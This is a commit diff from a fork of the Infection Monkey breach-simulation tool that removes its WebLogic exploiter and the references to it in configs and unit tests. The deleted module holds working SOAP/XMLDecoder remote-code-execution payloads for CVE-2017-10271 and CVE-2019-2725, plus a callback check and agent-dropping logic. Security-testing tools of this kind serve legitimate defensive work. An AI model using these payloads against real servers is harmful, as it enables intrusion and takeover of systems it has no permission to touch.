forked from p15670423/monkey
Agent, UT: Remove WebLogic exploiter
This commit is contained in:
parent
c10b5c9e79
commit
a0993cdfcb
|
@ -1,333 +0,0 @@
|
||||||
import copy
|
|
||||||
import logging
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
|
||||||
|
|
||||||
from requests import exceptions, post
|
|
||||||
|
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
# How long server waits for get request in seconds
|
|
||||||
SERVER_TIMEOUT = 4
|
|
||||||
# How long should we wait after each request in seconds
|
|
||||||
REQUEST_DELAY = 0.1
|
|
||||||
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
|
||||||
REQUEST_TIMEOUT = 5
|
|
||||||
# How long to wait for response in exploitation. In seconds
|
|
||||||
EXECUTION_TIMEOUT = 15
|
|
||||||
# Malicious requests' headers:
|
|
||||||
HEADERS = {
|
|
||||||
"Content-Type": "text/xml;charset=UTF-8",
|
|
||||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
|
||||||
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
class WebLogicExploiter(HostExploiter):
|
|
||||||
_EXPLOITED_SERVICE = "Weblogic"
|
|
||||||
|
|
||||||
def _exploit_host(self):
|
|
||||||
exploiters = [WebLogic20192725, WebLogic201710271]
|
|
||||||
for exploiter in exploiters:
|
|
||||||
if exploiter(self.host).exploit_host():
|
|
||||||
return True
|
|
||||||
|
|
||||||
|
|
||||||
# Exploit based of:
|
|
||||||
# Kevin Kirsche (d3c3pt10n)
|
|
||||||
# https://github.com/kkirsche/CVE-2017-10271
|
|
||||||
# and
|
|
||||||
# Luffin from Github
|
|
||||||
# https://github.com/Luffin/CVE-2017-10271
|
|
||||||
# CVE: CVE-2017-10271
|
|
||||||
class WebLogic201710271(WebRCE):
|
|
||||||
URLS = [
|
|
||||||
"/wls-wsat/CoordinatorPortType",
|
|
||||||
"/wls-wsat/CoordinatorPortType11",
|
|
||||||
"/wls-wsat/ParticipantPortType",
|
|
||||||
"/wls-wsat/ParticipantPortType11",
|
|
||||||
"/wls-wsat/RegistrationPortTypeRPC",
|
|
||||||
"/wls-wsat/RegistrationPortTypeRPC11",
|
|
||||||
"/wls-wsat/RegistrationRequesterPortType",
|
|
||||||
"/wls-wsat/RegistrationRequesterPortType11",
|
|
||||||
]
|
|
||||||
|
|
||||||
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
super(WebLogic201710271, self).__init__(
|
|
||||||
host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"}
|
|
||||||
)
|
|
||||||
|
|
||||||
def get_exploit_config(self):
|
|
||||||
exploit_config = super(WebLogic201710271, self).get_exploit_config()
|
|
||||||
exploit_config["stop_checking_urls"] = True
|
|
||||||
exploit_config["url_extensions"] = WebLogic201710271.URLS
|
|
||||||
return exploit_config
|
|
||||||
|
|
||||||
def exploit(self, url, command):
|
|
||||||
if "linux" in self.host.os["type"]:
|
|
||||||
payload = self.get_exploit_payload(
|
|
||||||
"/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null"
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL")
|
|
||||||
try:
|
|
||||||
post( # noqa: DUO123
|
|
||||||
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
|
|
||||||
)
|
|
||||||
except Exception as e:
|
|
||||||
logger.error("Connection error: %s" % e)
|
|
||||||
return False
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
|
||||||
"""
|
|
||||||
Overrides parent method to use listener server
|
|
||||||
"""
|
|
||||||
# Server might get response faster than it starts listening to it, we need a lock
|
|
||||||
httpd, lock = self._start_http_server()
|
|
||||||
exploitable = False
|
|
||||||
|
|
||||||
for url in urls:
|
|
||||||
if self.check_if_exploitable_weblogic(url, httpd):
|
|
||||||
exploitable = True
|
|
||||||
break
|
|
||||||
|
|
||||||
if not exploitable and httpd.get_requests < 1:
|
|
||||||
# Wait for responses
|
|
||||||
time.sleep(REQUEST_TIMEOUT)
|
|
||||||
|
|
||||||
if httpd.get_requests > 0:
|
|
||||||
# Add all urls because we don't know which one is vulnerable
|
|
||||||
self.vulnerable_urls.extend(urls)
|
|
||||||
self.exploit_info["vulnerable_urls"] = self.vulnerable_urls
|
|
||||||
else:
|
|
||||||
logger.info("No vulnerable urls found, skipping.")
|
|
||||||
|
|
||||||
self._stop_http_server(httpd, lock)
|
|
||||||
|
|
||||||
def check_if_exploitable_weblogic(self, url, httpd):
|
|
||||||
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
|
||||||
try:
|
|
||||||
post( # noqa: DUO123
|
|
||||||
url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False
|
|
||||||
)
|
|
||||||
except exceptions.ReadTimeout:
|
|
||||||
# Our request will not get response thus we get ReadTimeout error
|
|
||||||
pass
|
|
||||||
except Exception as e:
|
|
||||||
logger.error("Something went wrong: %s" % e)
|
|
||||||
return httpd.get_requests > 0
|
|
||||||
|
|
||||||
def _start_http_server(self):
|
|
||||||
"""
|
|
||||||
Starts custom http server that waits for GET requests
|
|
||||||
:return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
|
|
||||||
"""
|
|
||||||
lock = threading.Lock()
|
|
||||||
local_port = get_free_tcp_port()
|
|
||||||
local_ip = get_interface_to_target(self.host.ip_addr)
|
|
||||||
httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
|
|
||||||
lock.acquire()
|
|
||||||
httpd.start()
|
|
||||||
lock.acquire()
|
|
||||||
return httpd, lock
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def _stop_http_server(httpd, lock):
|
|
||||||
lock.release()
|
|
||||||
httpd.join(SERVER_TIMEOUT)
|
|
||||||
httpd.stop()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_exploit_payload(cmd_base, cmd_opt, command):
|
|
||||||
"""
|
|
||||||
Formats the payload used in exploiting weblogic servers
|
|
||||||
:param cmd_base: What command prompt to use eg. cmd
|
|
||||||
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
|
|
||||||
:param command: command itself
|
|
||||||
:return: Formatted payload
|
|
||||||
"""
|
|
||||||
empty_payload = """<soapenv:Envelope
|
|
||||||
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
||||||
<soapenv:Header>
|
|
||||||
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
||||||
<java>
|
|
||||||
<object class="java.lang.ProcessBuilder">
|
|
||||||
<array class="java.lang.String" length="3" >
|
|
||||||
<void index="0">
|
|
||||||
<string>{cmd_base}</string>
|
|
||||||
</void>
|
|
||||||
<void index="1">
|
|
||||||
<string>{cmd_opt}</string>
|
|
||||||
</void>
|
|
||||||
<void index="2">
|
|
||||||
<string>{cmd_payload}</string>
|
|
||||||
</void>
|
|
||||||
</array>
|
|
||||||
<void method="start"/>
|
|
||||||
</object>
|
|
||||||
</java>
|
|
||||||
</work:WorkContext>
|
|
||||||
</soapenv:Header>
|
|
||||||
<soapenv:Body/>
|
|
||||||
</soapenv:Envelope>
|
|
||||||
"""
|
|
||||||
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
|
|
||||||
return payload
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_test_payload(ip, port):
|
|
||||||
"""
|
|
||||||
Gets payload used for testing whether weblogic server is vulnerable
|
|
||||||
:param ip: Server's IP
|
|
||||||
:param port: Server's port
|
|
||||||
:return: Formatted payload
|
|
||||||
"""
|
|
||||||
generic_check_payload = """<soapenv:Envelope
|
|
||||||
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
||||||
<soapenv:Header>
|
|
||||||
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
||||||
<java version="1.8" class="java.beans.XMLDecoder">
|
|
||||||
<void id="url" class="java.net.URL">
|
|
||||||
<string>http://{host}:{port}</string>
|
|
||||||
</void>
|
|
||||||
<void idref="url">
|
|
||||||
<void id="stream" method = "openStream" />
|
|
||||||
</void>
|
|
||||||
</java>
|
|
||||||
</work:WorkContext>
|
|
||||||
</soapenv:Header>
|
|
||||||
<soapenv:Body/>
|
|
||||||
</soapenv:Envelope>
|
|
||||||
"""
|
|
||||||
payload = generic_check_payload.format(host=ip, port=port)
|
|
||||||
return payload
|
|
||||||
|
|
||||||
class IndicationHTTPServer(threading.Thread):
|
|
||||||
"""
|
|
||||||
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
|
|
||||||
we determine if we can exploit by either getting a GET request from host or not.
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
|
||||||
self.local_ip = local_ip
|
|
||||||
self.local_port = local_port
|
|
||||||
self.get_requests = 0
|
|
||||||
self.max_requests = max_requests
|
|
||||||
self._stopped = False
|
|
||||||
self.lock = lock
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
self.daemon = True
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
class S(BaseHTTPRequestHandler):
|
|
||||||
@staticmethod
|
|
||||||
def do_GET():
|
|
||||||
logger.info("Server received a request from vulnerable machine")
|
|
||||||
self.get_requests += 1
|
|
||||||
|
|
||||||
logger.info("Server waiting for exploited machine request...")
|
|
||||||
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
|
||||||
httpd.daemon = True
|
|
||||||
self.lock.release()
|
|
||||||
while not self._stopped and self.get_requests < self.max_requests:
|
|
||||||
httpd.handle_request()
|
|
||||||
|
|
||||||
self._stopped = True
|
|
||||||
return httpd
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
self._stopped = True
|
|
||||||
|
|
||||||
|
|
||||||
# Exploit based of:
|
|
||||||
# Andres Rodriguez (acamro)
|
|
||||||
# https://github.com/rapid7/metasploit-framework/pull/11780
|
|
||||||
class WebLogic20192725(WebRCE):
|
|
||||||
URLS = ["_async/AsyncResponseServiceHttps"]
|
|
||||||
DELAY_BEFORE_EXPLOITING_SECONDS = 5
|
|
||||||
|
|
||||||
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
super(WebLogic20192725, self).__init__(host)
|
|
||||||
|
|
||||||
def get_exploit_config(self):
|
|
||||||
exploit_config = super(WebLogic20192725, self).get_exploit_config()
|
|
||||||
exploit_config["url_extensions"] = WebLogic20192725.URLS
|
|
||||||
exploit_config["dropper"] = True
|
|
||||||
return exploit_config
|
|
||||||
|
|
||||||
def execute_remote_monkey(self, url, path, dropper=False):
|
|
||||||
# Without delay exploiter tries to launch monkey file that is still finishing up after
|
|
||||||
# downloading.
|
|
||||||
time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS)
|
|
||||||
super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper)
|
|
||||||
|
|
||||||
def exploit(self, url, command):
|
|
||||||
if "linux" in self.host.os["type"]:
|
|
||||||
payload = self.get_exploit_payload("/bin/sh", "-c", command)
|
|
||||||
else:
|
|
||||||
payload = self.get_exploit_payload("cmd", "/c", command)
|
|
||||||
try:
|
|
||||||
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
|
|
||||||
return resp
|
|
||||||
except Exception as e:
|
|
||||||
logger.error("Connection error: %s" % e)
|
|
||||||
return False
|
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
|
||||||
headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""})
|
|
||||||
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
|
|
||||||
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_exploit_payload(cmd_base, cmd_opt, command):
|
|
||||||
"""
|
|
||||||
Formats the payload used to exploit weblogic servers
|
|
||||||
:param cmd_base: What command prompt to use eg. cmd
|
|
||||||
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
|
|
||||||
:param command: command itself
|
|
||||||
:return: Formatted payload
|
|
||||||
"""
|
|
||||||
empty_payload = """
|
|
||||||
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
|
|
||||||
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\"
|
|
||||||
xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
|
|
||||||
<soapenv:Header>
|
|
||||||
<wsa:Action>xx</wsa:Action>
|
|
||||||
<wsa:RelatesTo>xx</wsa:RelatesTo>
|
|
||||||
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
|
|
||||||
<void class=\"java.lang.ProcessBuilder\">
|
|
||||||
<array class=\"java.lang.String\" length=\"3\">
|
|
||||||
<void index=\"0\">
|
|
||||||
<string>{cmd_base}</string>
|
|
||||||
</void>
|
|
||||||
<void index=\"1\">
|
|
||||||
<string>{cmd_opt}</string>
|
|
||||||
</void>
|
|
||||||
<void index=\"2\">
|
|
||||||
<string>{cmd_payload}</string>
|
|
||||||
</void>
|
|
||||||
</array>
|
|
||||||
<void method=\"start\"/>
|
|
||||||
</void>
|
|
||||||
</work:WorkContext>
|
|
||||||
</soapenv:Header>
|
|
||||||
<soapenv:Body>
|
|
||||||
<asy:onAsyncDelivery/>
|
|
||||||
</soapenv:Body>
|
|
||||||
</soapenv:Envelope>"""
|
|
||||||
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
|
|
||||||
return payload
|
|
|
@ -56,7 +56,6 @@
|
||||||
"vulnerability": [
|
"vulnerability": [
|
||||||
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
{"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}},
|
{"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}},
|
||||||
{"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
|
||||||
{"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}
|
{"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -50,7 +50,6 @@
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"ZerologonExploiter",
|
"ZerologonExploiter",
|
||||||
"WebLogicExploiter",
|
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"PowerShellExploiter",
|
"PowerShellExploiter",
|
||||||
|
|
|
@ -5,7 +5,6 @@
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"WebLogicExploiter",
|
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter"
|
||||||
]
|
]
|
||||||
|
|
|
@ -201,7 +201,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
|
||||||
"vulnerability": [
|
"vulnerability": [
|
||||||
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
{"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
{"name": "WebLogicExploiter", "supported_os": [], "options": {}},
|
|
||||||
{"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}},
|
{"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}},
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue